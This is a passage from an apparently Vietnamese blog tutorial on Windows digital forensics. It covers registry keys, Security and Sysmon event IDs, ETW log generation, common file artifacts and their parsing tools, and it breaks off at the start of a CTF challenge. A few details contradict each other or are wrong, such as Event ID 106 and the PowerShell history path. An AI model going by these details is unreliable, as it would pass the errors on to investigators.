-------------------------------------------------- | --------- | ------------------------------------------- | | `HKCU\...\Run` | User | Chương trình tự khởi động theo người dùng | | `HKLM\...\Run` | All users | Chương trình tự khởi động cho toàn hệ thống | | `RunOnce`, `Explorer\Run`, `Policies\Explorer\Run` | --- | Thường được malware dùng để tự kích hoạt | #### Thiết bị & mạng | Key | Mô tả | | --------------------------------------------- | --------------------------------------------------------------- | | `HKLM\SYSTEM\CurrentControlSet\Enum\USB` | Lưu thông tin các thiết bị USB đã từng cắm (VID/PID, timestamp) | | `HKLM\SYSTEM\MountedDevices` | Liên kết volume với ổ đĩa (Volume GUID ↔ ký hiệu ổ đĩa) | | `HKLM\SYSTEM\...\Tcpip\Parameters\Interfaces` | Cấu hình IP, gateway, DNS... | #### Cấu hình hệ thống | Key | Mô tả | | ------------------------------------------------ | --------------------------------------------------- | | `HKLM\SYSTEM\...\TimeZoneInformation` | Múi giờ của hệ thống | | `HKLM\SYSTEM\...\ComputerName` | Tên máy | | `HKLM\SYSTEM\...\Environment` | Biến môi trường hệ thống | | `HKLM\SOFTWARE\...\ProfileList` | Danh sách SID người dùng trên máy | | `HKLM\SYSTEM\...\Session Manager\AppCompatCache` | Danh sách các ứng dụng đã thực thi (giống Prefetch) | | `HKLM\SYSTEM\...\PrefetchParameters` | Thiết lập prefetch (giá trị EnablePrefetcher) | #### Tài khoản người dùng – SAM | Key | Mô tả | | -------------------------- | ------------------------------------------------ | | `HKLM\SAM\Domains\Account` | Thông tin nhóm, tài khoản người dùng | | `HKLM\SAM\Domains\Users` | SID, hash mật khẩu, các thuộc tính khác của user | ### Note * Với lượng thông tin lớn mà **Registry Key** đem lại như vậy thì rất khó khăn nếu thuần công nhân mà không dùng tools. Mình đi ~~bú~~ 2 tools có vẻ ngon là **`REcmd`** và **`Registry Explorer`** . Cài đặt thì ở [đây](https://ericzimmerman.github.io/#!index.md) nha. ## Event Log ### Event Log là gì? * **Event Log** là nhật ký hệ thống ghi lại các sự kiện (events) xảy ra trên máy tính **Windows**, theo thứ tự thời gian. Nó lưu lại những hành động liên quan đến người dùng, hệ điều hành, ứng dụng, dịch vụ, phần cứng và các tiến trình bảo mật. * Dễ hiểu hơn thì đây là nơi mà những hoạt động trên máy tính được ghi chép lại, ví dụ như ai đăng nhập vào máy, đăng nhập thời gian nào, đang chạy tiến trình gì, kết nối đi đâu,…đều được lưu lại. ### Vị trí lưu trữ * **Windows XP** trở về trước: `C:\Windows\System32\config` * **Windows Vista** trở về sau (hiện nay): `C:\Windows\System32\winevt\Logs\` * Các file log có đặc điểm nhận dạng là phần mở rộng `.evtx` và có thể xem bằng **Event Viewer** hoặc **Registry Editor** đề được. ### Tại sao Event Log quan trọng trong Forensics? * Trong điều tra số, **Event Log** giúp: * Phân tích hành vi người dùng * Xác định sự xâm nhập, tấn công, thao tác trái phép * Xác thực các hành động đáng ngờ như tạo tài khoản mới, chạy script, mở dịch vụ... * Thông tin chính được ghi lại: * Thời điểm diễn ra sự kiện * Tên người dùng, **IP**, **SID** * Tên tiến trình / script / dịch vụ được gọi * Trạng thái: thành công / thất bại * Loại sự kiện: `Logon`, `Service`, `Process`, `Registry`, `Task`... ### **Các trường trong event log** ![image](https://hackmd.io/_uploads/SkXujKtDR.png) ### **Các loại event trong event log** Có 5 loại `event` có thể được ghi lại. Mỗi `event` phải thuộc một loại nào đó trong 5 loại này và mỗi loại sẽ có một biểu tượng khác nhau. VD như hình dưới: ![image](https://hackmd.io/_uploads/HJ2nh29w0.png) * Thông tin (`Information`): Các thông tin về các sự kiện thông thường hoặc các hoạt động bình thường trong hệ thống. * Cảnh báo (`Warning`): Các sự kiện có thể là dấu hiệu của vấn đề tiềm ẩn hoặc cảnh báo người quản trị hệ thống nên xem xét. * Lỗi (`Error`): Các sự kiện xảy ra khi hệ thống gặp phải vấn đề hoặc lỗi trong quá trình hoạt động. * Sự kiện mật (`Audit Success/Failure`): Các sự kiện liên quan đến kiểm tra và ghi lại các hoạt động quản lý bảo mật hoặc thất bại trong hệ thống. ### Phân loại Event Log chính và các Event ID quan trọng cần chú ý #### Security Log * Theo dõi `logon`, `logoff`, `policy`, quyền truy cập, hành vi bảo mật. | Event ID | Mô tả | | -------- | --------------------------------------------------------- | | **4624** | Logon thành công | | **4625** | Logon thất bại (quan trọng để phát hiện brute-force) | | **4688** | Tạo tiến trình mới (Process Creation) | | **4648** | Dùng credential rõ ràng (thường thấy trong pass-the-hash) | | **4672** | Logon có quyền đặc biệt (admin, system,...) | | **4720** | Tài khoản người dùng mới được tạo | | **4732** | User được thêm vào group (Admins, RDP Users,...) | | **4698** | Task Scheduler mới được tạo | | **1102** | Security log bị xóa — dấu hiệu che giấu hành vi | | **4776** | Domain Controller xác thực tài khoản (NTLM) | | **4771** | Kerberos Pre-authentication thất bại | ![image](https://hackmd.io/_uploads/B1PNT3qDA.png) ![image](https://hackmd.io/_uploads/r1Oy1p5P0.png) #### System Log * Ghi nhận hoạt động của `driver`, dịch vụ hệ thống, lỗi hệ thống. | Event ID | Mô tả | | -------- | ---------------------------- | | **7045** | Một service mới được cài đặt | | **7034** | Service bị crash bất thường | | **104** | Log file bị xóa | ![image](https://hackmd.io/_uploads/Bky0y65D0.png) #### Task Scheduler Log (Microsoft-Windows-TaskScheduler/Operational) * Ghi nhận lịch sử tạo và thực thi tác vụ (task). | Event ID | Mô tả | | -------- | --------------------------- | | **100** | Task được khởi chạy | | **106** | Task được đăng ký (tạo mới) | | **141** | Task bị xóa | ![image](https://hackmd.io/_uploads/ByKSyp9PA.png) #### PowerShell Log (Microsoft-Windows-PowerShell/Operational) * Ghi lại các script được chạy. | Event ID | Mô tả | | -------- | ---------------------------------------------- | | **4103** | Module được load | | **4104** | Scriptblock được thực thi (có thể chứa mã độc) | * Ngoài ra vẫn còn các `event` sau: * `Event` về **LAN, Wireless**: sinh ra khi liên quan đến các kết nối mạng. ![image](https://hackmd.io/_uploads/S1olea9vR.png) * `Event` về **tiến trình (process audit)**: liên quan các tiến trình trên **windows**. Mặc định log này không được bật, để cấu hình phải vào chỉnh trong **Group Policy** theo đường dẫn sau `Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Audit Policy -> Audit process tracking`. ![image](https://hackmd.io/_uploads/Syqfep5PR.png) * `Event` về **Windows Filtering Platform (WFP)**: thường gặp khi có ứng dụng chạy trên máy bị block/accept như firewall. ![image](https://hackmd.io/_uploads/Skr4la5DR.png) * `Event` về **thực thi chương trình (execute program)**: một số `event` thường gặp khi điều tra về các tiến trình lạ được thực thi liên quan đến các `action` của **Windows Defender**. ![image](https://hackmd.io/_uploads/BJKDx65w0.png) ### [SYSMON](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) #### Khái niệm * **System monitor (Sysmon)** là một công cụ của **Microsoft Sysinternals** dùng để giám sát và ghi lại các hoạt động của hệ thống **Windows** vào **Windows event log**. **Sysmon** giúp theo dõi các hoạt động như tạo tiến trình, kết nối mạng, thay đổi tệp tin, và các sự kiện liên quan đến `registry`. * Chức năng của **Sysmon** bao gồm: - **Ghi lại việc tạo tiến trình** với dòng lệnh đầy đủ và hàm băm của tệp tiến trình. - **Sử dụng nhiều hàm băm** (SHA1, MD5, SHA256, IMPHASH) cùng lúc. - **Bao gồm GUID tiến trình và phiên** để liên kết các sự kiện. - **Ghi lại việc tải trình điều khiển/DLL** với chữ ký và hàm băm. - **Ghi lại việc mở đọc thô** các đĩa và phân vùng. - **Tùy chọn ghi lại kết nối mạng** với thông tin chi tiết. - **Phát hiện thay đổi thời gian tạo tệp** để phát hiện phần mềm độc hại. - **Tự động tải lại cấu hình** nếu thay đổi trong registry. - **Lọc rules** để bao gồm hoặc loại trừ các sự kiện. - **Ghi lại sự kiện từ sớm** trong quá trình khởi động. #### Các ID tương ứng với từng sự kiện Dưới đây là danh sách **tên các Event ID của Sysmon** cùng với một mô tả ngắn gọn: | **Event ID** | **Tên** | **Mô Tả** | |:------------:|:----------------------------------------------------- |:---------------------------------------------------------- | | **1** | Process creation | Tạo tiến trình mới | | **2** |File creation time | Tiến trình thay đổi thời gian tạo file | | **3** | Network connection | Kết nối mạng TCP/UDP | | **4** | Sysmon service state changed | Trạng thái dịch vụ Sysmon thay đổi | | **5** | Process terminated | Tiến trình bị kết thúc | | **6** | Driver loaded | Driver được tải vào hệ thống | | **7** | Image loaded | Module (DLL) được nạp vào tiến trình | | **8** | CreateRemoteThread | Tạo thread từ tiến trình này sang tiến trình khác | | **9** | RawAccessRead | Đọc dữ liệu thô từ ổ đĩa | | **10** | ProcessAccess | Truy cập tiến trình khác | | **11** | FileCreate | Tạo hoặc ghi đè file | | **12** | RegistryEvent (Create and delete) | Tạo hoặc xóa registry key/value | | **13** | RegistryEvent (Value Set) | Sửa đổi value registry | | **14** | RegistryEvent (Rename) | Đổi tên registry key hoặc value | | **15** | FileCreateStreamHash | Tạo named file stream | | **16** | ServiceConfigurationChange | Thay đổi cấu hình Sysmon | | **17** | PipeEvent (Pipe Created) | Tạo named pipe | | **18** | PipeEvent (Pipe Connected) | Kết nối named pipe | | **19** | WmiEvent (Filter) | Phát hiện hoạt động WMI Event Filter | | **20** | WmiEvent (Consumer) | Phát hiện hoạt động WMI Event Consumer | | **21** | WmiEvent (ConsumerToFilter) | Liên kết giữa WMI Consumer và Filter | | **22** | DNSEvent (DNS query) | Thực hiện truy vấn DNS | | **23** | FileDelete (archived) | Tệp bị xóa (lưu bản sao) | | **24** | ClipboardChange | Nội dung clipboard thay đổi | | **25** | ProcessTampering (Process image change) | Phát hiện kỹ thuật che giấu tiến trình (process tampering) | | **26** | FileDeleteDetected (logged) | Tệp bị xóa (chỉ ghi log, không lưu bản sao) | | **27** | FileBlockExecutable | Chặn tạo file thực thi | | **28** | FileBlockShredding | Chặn xóa file bằng công cụ hủy dữ liệu (shredding tools) | | **29** | FileExecutableDetected | Phát hiện file thực thi mới | | **255** | Error | Lỗi xảy ra trong Sysmon | ### Logon Type Codes thường gặp và ý nghĩa | Logon Type | Ý nghĩa | | ---------- | ---------------------------------------------------------------------- | | **2** | Đăng nhập bằng console (bàn phím, chuột trực tiếp) | | **3** | Đăng nhập qua mạng (SMB, drive mapping, truy cập từ xa) | | **4** | Đăng nhập kiểu batch (Scheduled Task) | | **5** | Đăng nhập bởi dịch vụ (Windows Service) | | **7** | Mở khóa màn hình | | **8** | Gửi credentials dạng cleartext (rủi ro cao, nghi ngờ downgrade attack) | | **9** | Dùng tài khoản khác để đăng nhập (ví dụ `runas`) | | **10** | Remote Desktop (RDP) / Terminal Services | | **11-13** | Dùng **cached credentials** để đăng nhập/offline/unlock | ### Công cụ phân tích Event Log * Có thể dùng công cụ mặc định của **Windows** là **`Event Viewer`**, không thì [Chainsaw](https://github.com/WithSecureLabs/chainsaw), tools này nó là **CLI Tool** cực kỳ mạnh mẽ dùng trong **Forensics**, áp dụng quy tắc Sigma để phát hiện hành vi đáng ngờ từ file `.evtx`, đồng thời giúp phát hiện các loại event: `Process`, `Registry`, `Task`, `Service`, `Network`... * Một số `event` mà **`chainsaw`** có thể phân tích là: | Event Type | Event ID | | --------------------------- | -------- | | Process Creation (Sysmon) | 1 | | Network Connection (Sysmon) | 3 | | File Creation (Sysmon) | 11 | | Registry Event (Sysmon) | 13 | | PowerShell ScriptBlock | 4104 | | Task Scheduler Creation | 4698 | | Service Installation | 7045 | | Process Creation (Security) | 4688 | ### Note * Có thể phần **Window Event log** này mình viết hơi chán (~~mình cảm thấy vậy~~), nên là ở mục **`Refs`** ở dưới là mình có tham khảo các blog của **`VNPT`**, mọi người có thể xem, có hình ảnh nên chắc dễ hiểu hơn đó 😂 ### Thắc mắc * Có lẽ không ai hỏi, nhưng mình vẫn sẽ đặt ra 1 vấn đề cần tìm hiểu là: **Event Log** được sinh ra như thế nào trong **Windows**? * Ý mình là có thể phần lý thuyết tìm hiểu ở trên cũng giúp chúng ta hình dung ra 1 phần nào đó cho câu trả lời, nhưng vẫn có chút mơ hồ nhất định. Ví dụ đơn giản thì khi gõ lệnh trong **CMD**, `ipconfig` chẳng hạn, thì `log` sinh ra như nào? * Ở đây mình dùng [Sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon), link cài đặt: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon * Sau đó chạy **CMD** quyền **Administrator**, di chuyển tới thư mục **`Sysmon.zip`** vừa giải nén để chạy các lệnh tiếp theo. * Tiếp theo tải file cấu hình từ cộng đồng [SwiftOnSecurity/sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) bằng lệnh: ```py curl -O https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml ``` * Cuối cùng cài **`Sysmon`** với lệnh: ```py Sysmon64.exe -accepteula -i C:\Windows\System32\sysmonconfig-export.xml ``` * Để xác minh **`Sysmon`** đã hoạt động chưa, `Start Menu` tìm mở **Event Viewer** (`eventvwr.msc`), điều hướng tới `path` sau: ```py Applications and Services Logs > Microsoft > Windows > Sysmon > Operational ``` * Tại đây sẽ thấy các sự kiện như: * `Event ID 1`: **Process Create** * `Event ID 3`: **Network Connection** * `Event ID 11`: **File Create** * Hoặc đơn giản hơn thì dùng **powershell** chạy quyền **Administrator** với lệnh: `Get-Service -Name Sysmon64` ![image](https://hackmd.io/_uploads/ByEvcXiIxg.png) * `Running` như này là được rồi nha, còn nếu `Stopped` thì chạy `Start-Service -Name Sysmon64`. * Sau đó mở `CMD` gõ `ipconfig` chẳng hạn. Quay lại **Event Viewer**, để tiện theo dõi thì mình chọn `Filter Current Log`, `“Event IDs”` chọn `1`. Tại sao lại là `1` thì như trên mình trình bày `Event ID = 1` tương ứng với **`Process creation`**. ![Screenshot 2025-07-21 095146](https://hackmd.io/_uploads/S1Gsjms8ex.png) * Đó, kết quả ta thu được log này, 1 vài tham số mình có thể kể đến như: | **Trường** | **Ý nghĩa và cách dùng** | | ------------------------ | --------------------------------------------------------------------------------------------------------------- | | `UtcTime` | Thời điểm chính xác tiến trình được tạo (UTC). Giúp phân tích dòng thời gian. | | `ProcessGuid` | ID duy nhất cho tiến trình (không trùng lặp kể cả sau reboot). Dùng để liên kết các event. | | `ProcessId` | PID của tiến trình. Có thể tái sử dụng sau khi tiến trình kết thúc. | | `Image` | Đường dẫn đến file thực thi. Đây là tiến trình được tạo. | | `CommandLine` | Dòng lệnh dùng để gọi tiến trình. **Rất quan trọng** vì đôi khi mã độc dùng các tham số bất thường. | | `User` | Tài khoản chạy tiến trình. Giúp xác định quyền người dùng hoặc `attacker` dùng tài khoản nào. | | `ParentImage` | Tiến trình cha (ví dụ `cmd.exe`). Dùng để phát hiện **tiến trình con bất thường** (như PowerShell do Word gọi). | | `ParentCommandLine` | Dòng lệnh gọi tiến trình cha. Phân tích để thấy toàn bộ chuỗi hành vi. | | `IntegrityLevel` | Xác định mức quyền của tiến trình (Low, Medium, High, System). | | `Hashes` | Hash của file thực thi. Có thể tra cứu trên VirusTotal để biết có phải mã độc không. | | `LogonId` và `LogonGuid` | Dùng để **liên kết với sự kiện đăng nhập**, xác định session của attacker. | * Thực ra đó cũng mới chỉ là cách xem log sau khi thao tác, cụ thể ở đây là vào `cmd.exe` gõ lệnh `ipconfig`. Còn quá trình sinh log, làm sao mà biết được `ipconfig.exe` đc mở, cái gì tìm kiếm `event` đấy và ghi vào log? * Sau khi mình tìm kiếm 1 hồi khá lâu, thì mình thấy có vài bài viết liên quan (~~ở [đây](https://blogs.jpcert.or.jp/en/2024/11/etw_forensics.html) và [đây](https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing) chắc là sát nhất~~), sau khi tổng hợp từ nhiều nguồn thì mình ~~nghĩ~~ câu trả lời sẽ như sau. * Trong **Windows**, mọi log sự kiện (như tiến trình, driver, ứng dụng...) được quản lý thông qua một cơ chế có tên: [ETW (Event Tracing for Windows)](https://mundobytes.com/vi/c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-theo-d%C3%B5i-s%E1%BB%B1-ki%E1%BB%87n-cho-windows-etw/). * **Event Tracing for Windows** là hệ thống theo dõi sự kiện được tích hợp sẵn trong `kernel Windows`. * Và quá trình đầy đủ sinh ra log sẽ là: `Provider -> ETW -> Consumer`. Log không tự sinh ra, nó được `Provider` gửi đi → `ETW` định tuyến → `Consumer` (như `Event Viewer`) đọc ra từ `Event Log`. ![image](https://hackmd.io/_uploads/S1Stv6oLeg.png) | Vai trò | Mô tả | | -------------------- | ----------------------------------------------------------------------------------------------------------------- | | **Provider** | là thành phần hoặc ứng dụng tạo ra sự kiện (`event`) (với ví dụ chạy `Sysmon` thì `Provider` là `SysmonDrv.sys`). | | **ETW Kernel** | Là trung tâm thu thập & định tuyến sự kiện. Provider gửi dữ liệu vào đây. | | **Consumer** | Là thành phần hoặc ứng dụng đăng ký **nhận các sự kiện từ ETW** (như `Event Viewer`, `Chainsaw`, `SIEM`...) còn với ví dụ chạy `Sysmon` thì `Consumer` là `Sysmon.exe` | * Quy trình chi tiết của **ETW** (`Event Tracing for Windows`) * Đăng ký **Provider**: `consumer` xác định các `provider` mà nó muốn thu thập log từ đó. * Tạo `session` để thu thập log ghi vào `buffer`: khởi tạo một `ETW session` bằng **API** như `StartTrace(...)`, có thể lựa chọn **Real-time** hoặc **File-based**, ghi lại phân tích sau. * Xử lý, thu thập log ghi vào `buffer`, sau đó `consumer` lấy log từ `buffer` ra và hiển thị. ### Trả lời * Log sinh ra như nào, cụ thể với ví dụ ở trên? | Bước | Diễn giải | | ---- | ------------------------------------------------------------- | | 1 | Mở `cmd.exe` gõ `ipconfig` → tạo process `ipconfig.exe` | | 2 | `Windows Kernel` thông báo tiến trình mới qua `ETW` | | 3 | `Sysmon driver` (đăng ký với `Kernel`) **nhận callback** | | 4 | `Sysmon` thu thập thêm dữ liệu từ `API` → format log | | 5 | `Sysmon` dùng **Windows Event API** để ghi log vào `Event Viewer` | ## Một số artifacts thường thấy trong Windows ### Windows Recycle Bin * **Windows Recycle Bin** lưu giữ thông tin quan trọng về các file hoặc thư mục đã bị xóa bởi người dùng từ giao diện đồ họa (`GUI`). **Artifact** này rất hữu ích trong điều tra pháp y để khôi phục hành vi xóa file, xác định thời điểm xóa, và vị trí gốc của file. * Nó lưu trữ các thông tin như: * Tên file/thư mục đã bị xóa * Đường dẫn ban đầu trước khi bị xóa * Thời điểm xóa * Kích thước file #### Vị trí lưu trữ theo phiên bản Windows | Hệ điều hành | Vị trí Artifact | | ----------------------------------- | ---------------------------------------------- | | Windows 2000 / NT / XP / 2003 | `C:\RECYCLER\{SID}\INFO2` | | Windows Vista trở đi (7, 8, 10, 11) | `C:\$Recycle.Bin\{SID}\$I######` và `$R######` | * **SID** là `Security Identifier` — đại diện cho người dùng đã xóa file. * Khi một file bị xóa: * Tệp ``$I######`` được tạo để lưu thông tin metadata. * Tệp ``$R######`` lưu nội dung thực tế của file. * Cả hai đều có 6 ký tự ngẫu nhiên theo sau tiền tố `$I` và `$R`. #### Tool phân tích * Có thể kể đến các tools như [RBcmd](https://github.com/EricZimmerman/RBCmd), [$I Parse](https://df-stream.com/download/321/), [RECmd](https://github.com/EricZimmerman/RECmd) `parse` **artifact** này rất hiệu quả. ### Windows Shortcut (.lnk files) * `.lnk` là **Windows shortcut** file, là đường dẫn biểu tượng đại diện cho một tập tin hoặc thư mục thực tế. Đây không phải là file dữ liệu gốc, mà chỉ là liên kết – khi người dùng nhấp vào shortcut, hệ thống sẽ chuyển đến và mở file đích. #### Vị trí thường gặp của file `.lnk` * Startup Folder: `C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` ➤ Shortcut để tự động chạy phần mềm khi khởi động Windows. * Recent Items (Lịch sử mở file): `C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Recent` ➤ Shortcut đến các file người dùng đã mở gần đây. * Menu Start hoặc Desktop: `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\` và `C:\Users\<Username>\Desktop` ➤ Các shortcut do người dùng tạo ra hoặc phần mềm tự thêm. #### Ý nghĩa forensics của file `.lnk` | Trường dữ liệu | Mô tả | | --------------------- | ------------------------------------------------------------------- | | **Target Path** | Đường dẫn gốc đến file mà shortcut trỏ đến. | | **Working Directory** | Thư mục làm việc của ứng dụng. | | **Arguments** | Tham số dòng lệnh nếu shortcut dùng để thực thi file. | | **MAC Timestamps** | Thời gian Truy cập (Accessed), Chỉnh sửa (Modified), Tạo (Created). | | **Volume Info** | Serial Number của volume, giúp xác định ổ đĩa chứa file gốc. | | **Net Share Info** | Nếu shortcut trỏ đến một vị trí mạng, thông tin này sẽ có. | * Các thông tin trên rất hữu ích để: * Xác định người dùng truy cập file nào, vào lúc nào. * Kiểm tra tên file gốc dù file đó đã bị xóa hoặc di chuyển. * Phân tích hành vi tấn công: `attacker` có thể dùng `.lnk` chứa lệnh độc hại (ví dụ shortcut gọi `PowerShell` với mã độc base64). #### Tool phân tích * Có thể lựa chọn [Lnk](https://github.com/EricZimmerman/Lnk) hoặc [LECmd](https://github.com/EricZimmerman/LECmd). ### Prefetch Files * **Prefetch** là cơ chế `cache` của **Windows**, được thiết kế để tăng tốc độ khởi động ứng dụng. * Khi một chương trình được chạy lần đầu, **Windows** sẽ tạo ra một tệp `.pf` trong thư mục `C:\Windows\Prefetch\`. * File này ghi lại: * Tên chương trình (Executable name). * Đường dẫn đầy đủ đến chương trình. * Danh sách các `file/dll` mà ứng dụng cần khi chạy. * Số lần chương trình được thực thi. * **Timestamp** lần chạy gần nhất. * Thông tin này được lưu trong các tệp tin **Prefetch** để giúp hệ điều hành **Windows** tối ưu hóa quá trình khởi động trong các lần tiếp theo. #### Cấu trúc tên file Prefetch ```py <ExecutableName>-<Hash>.pf ``` * Ví dụ: `CHROME.EXE-1234ABCD.pf` #### Ý nghĩa Forensics * **Prefetch** rất hữu ích trong điều tra vì: * Xác định chương trình nào đã được chạy, dù file thực thi gốc có thể đã bị xóa. * Thấy được thời gian thực thi gần nhất và số lần chạy. * Dùng để xây dựng timeline của hoạt động hệ thống hoặc tấn công. * Có thể phát hiện các công cụ độc hại được chạy tạm thời. #### Tool phân tích * [PECmd](https://github.com/EricZimmerman/PECmd), [Prefetch](https://github.com/EricZimmerman/Prefetch) hữu ích để parser. ### Windows Browser * Trình duyệt web lưu trữ dấu vết hoạt động người dùng, như: * Website đã truy cập * Cookie đăng nhập * File đã tải về * Session hoạt động (bao gồm cả dấu vết truy cập vào các hệ thống nhạy cảm) * Các password đã lưu (nếu không được mã hóa kỹ) * Những dữ liệu này có thể sử dụng làm bằng chứng trong các điều tra về vi phạm dữ liệu, hành vi độc hại, hoặc truy cập trái phép. #### Một số web browser thông dụng * Dưới đây là các thông tin cần quan tâm đối với các `web browser`: ##### Microsoft Edge (Chromium-based) | **Thông tin** | **Đường dẫn** | | | --------------------------------- | ------------------------------------------------------------------- | ------------ | | Hồ sơ người dùng | `%LocalAppData%\Microsoft\Edge\User Data\[Default/Profile X]`| | Lịch sử truy cập (SQLite DB) | `%LocalAppData%\Microsoft\Edge\User Data\[Profile]\History` | | | Cookie (SQLite DB) | `%LocalAppData%\Microsoft\Edge\User Data\[Profile]\Network\Cookies` | | | Cache | `%LocalAppData%\Microsoft\Edge\User Data\[Profile]\Cache` | | | Phiên làm việc (Session) | `%LocalAppData%\Microsoft\Edge\User Data\[Profile]\Sessions` | | | Cấu hình và thiết lập khác (JSON) | `%LocalAppData%\Microsoft\Edge\User Data\[Profile]\Preferences` | | ##### Google Chrome | **Thông tin** | **Đường dẫn** | | --------------------------------- | ---------------------------------------------------------------- | | Hồ sơ người dùng | `%LocalAppData%\Google\Chrome\User Data\Default` | | Lịch sử truy cập (SQLite DB) | `%LocalAppData%\Google\Chrome\User Data\Default\History` | | Cookie (SQLite DB) | `%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies` | | Cache | `%LocalAppData%\Google\Chrome\User Data\Default\Cache` | | Phiên làm việc (Session) | `%LocalAppData%\Google\Chrome\User Data\Default\Sessions` | | Cấu hình và thiết lập khác (JSON) | `%LocalAppData%\Google\Chrome\User Data\Default\Preferences` | #### Tool phân tích [DB Browser for SQLite](https://sqlitebrowser.org/), [ChromeHistoryView](https://chromehistoryview.vi.softonic.com/), ... ### OST/PST Files * Các file `.ost` và `.pst` chứa nội dung email, metadata, tập tin đính kèm, và các hành vi trao đổi thông tin giữa người dùng với người khác — là nguồn dữ liệu cực kỳ quý trong điều tra. * Ví dụ: * Một email chứa mã độc đính kèm * Một email thể hiện giao tiếp giữa `attacker` và nội bộ * Một người dùng xóa mail nhưng vẫn còn lưu trong **OST** #### Vị trí file thường gặp * **OST**: ```py %USERPROFILE%\AppData\Local\Microsoft\Outlook\ ``` * **PST**: ```py %USERPROFILE%\Documents\Outlook Files\ ``` #### Tool phân tích * [Kernel OST Viewer](https://www.nucleustechnologies.com/ost-viewer.html), [XstReader](https://github.com/Dijji/XstReader) ### EML File * **EML** là viết tắt của `Electronic Mail`, là định dạng file dùng để lưu trữ một email đơn lẻ. * File `.eml` được lưu dưới dạng văn bản thuần túy (`plaintext`), nên hoàn toàn có thể mở nó bằng bất cứ trình editor nào như : * `Notepad` * `Visual Studio Code` * Trình duyệt (thì phải đổi đuôi `.eml` thành `.mht`) * Nếu người dùng sử dụng `Outlook Express`, `Windows Mail`, `Thunderbird`, hoặc export từ `Outlook` thì có thể thấy các `.eml` trong: `C:\Users\<User>\AppData\Local\Microsoft\Windows Mail` ### Alternative Data Stream (ADS) * **Alternative Data Stream** (`ADS`) là một tính năng của hệ thống tập tin `NTFS` cho phép một tệp có nhiều luồng dữ liệu (`data streams`). Điều này có thể bị lạm dụng để ẩn thông tin hoặc mã độc mà không làm thay đổi kích thước hay hiển thị tệp chính trong **File Explorer**. #### Tool phân tích [AlternativeStreamView](https://www.nirsoft.net/utils/alternate_data_streams.html) ### RDP Cache – Remote Desktop Protocol * Khi một máy `client` sử dụng **Remote Desktop Protocol** (`RDP`) để truy cập vào một máy chủ từ xa, `RDP cache` sẽ lưu trữ các ảnh `bitmap` đã từng được hiển thị (ví dụ: giao diện người dùng, cửa sổ chương trình, taskbar…) để: * Tăng tốc độ kết nối, tránh gửi lại dữ liệu hình ảnh giống nhau * Tiết kiệm băng thông → Tuy nhiên, từ góc nhìn forensics, các file cache này có thể phản ánh lại những gì đã hiển thị trên màn hình từ xa, từ đó cho ta dấu vết hình ảnh về phiên truy cập `RDP`. #### Vị trí mặc định của RDP cache `%LOCALAPPDATA%\Microsoft\Terminal Server Client\Cache\` * Thư mục này sẽ chứa các file cache có dạng: `cache0000.bin`, `cache0001.bin`, … hoặc cache + số, mỗi file chứa các tiles bitmap (thường 64x64 pixels) #### Tool phân tích [RDP Cached Bitmap Extractor](https://marketplace.opentext.com/cybersecurity/category/security-cloud), [bmc-tools](https://github.com/ANSSI-FR/bmc-tools) ### Master File Table (MFT) * **MFT** là một bảng dữ liệu (database) trung tâm trong hệ thống file `NTFS`. Nó chứa mỗi tệp tin và thư mục trên ổ đĩa `NTFS`, mỗi entry tương ứng trong **MFT** lưu trữ rất nhiều thông tin về file, bao gồm: * Tên file * Kích thước file * Timestamps: tạo, sửa, truy cập * Phân quyền (Permissions/ACLs) * Vị trí file trên đĩa (data runs) * Thông tin nội dung (nếu nhỏ thì được lưu ngay trong **MFT**) #### Tool phân tích [MFTECmd](https://github.com/EricZimmerman/MFTECmd), ... ### Scheduled Task * **Scheduled Tasks** là những tác vụ tự động được hệ thống hoặc người dùng cấu hình để chạy tại thời điểm cụ thể, định kỳ hoặc theo sự kiện. * Tương tự như `cronjob` trong **Linux**. * Có thể dùng để tự động hóa công việc hợp pháp, nhưng `attacker` thường lợi dụng để `Persistence`, `Privilege Escalation`, hoặc thậm chí `Lateral Movement`. * Tạo Scheduled Task (Command-line): ```py schtasks /create /tn "TaskName" /tr "ExecutablePath" /sc ScheduleType /st StartTime /du Duration ``` * Ví dụ: Tạo task gọi `cmd.exe` mỗi phút: ```py schtasks /create /tn "Test" /tr "cmd.exe" /sc minute ``` #### Vị trí lưu trữ * **Scheduled Task**: `C:\Windows\Tasks\` `C:\Windows\System32\Tasks\` * **Registry**: `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\` `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\` * **PowerShell Scheduled Jobs**: `%LocalAppData%\Microsoft\Windows\PowerShell\ScheduledJobs\` SOFTWARE Hive cũng chứa thông tin. #### Dấu hiệu nhận biết – Log Forensics: * Event ID: `4698` → Task mới được tạo (`New Scheduled Task Created`) * Event ID: `4702` → Task được cập nhật * Event ID: `106` → Task được bắt đầu ### Powershell History * Thông thường, mọi lệnh **PowerShell** mà người dùng nhập trong phiên làm việc với **PowerShell Console** (`ConsoleHost`) sẽ được lưu tại: ```py %localappdata%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ``` * Ví dụ: `C:\Users<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` #### Ý nghĩa Forensics * File này giống như một log cá nhân của người dùng **PowerShell**. * Nó có thể tiết lộ các hành vi thao tác hệ thống, các lệnh cài đặt phần mềm, tạo tài khoản, hoặc bỏ qua chính sách bảo mật. * Trong một số tình huống, `username`, `password` hoặc `token` truy cập có thể bị lộ nếu người dùng nhập trực tiếp vào dòng lệnh. ## Challenge * Lý thuyết dài dòng lan man thế đủ rồi, súc miệng vài bài nào :)) ### Sổ đăng ký https://battle.cookiearena.org/challenges/digital-forensics/so-dang-ky * Giải nén và thứ mình nhận được là 1 file `NTUSER.DAT`, ta biết được file này chứa thông tin người dùng. Đây là file **Registry hive** tương ứng với nhánh 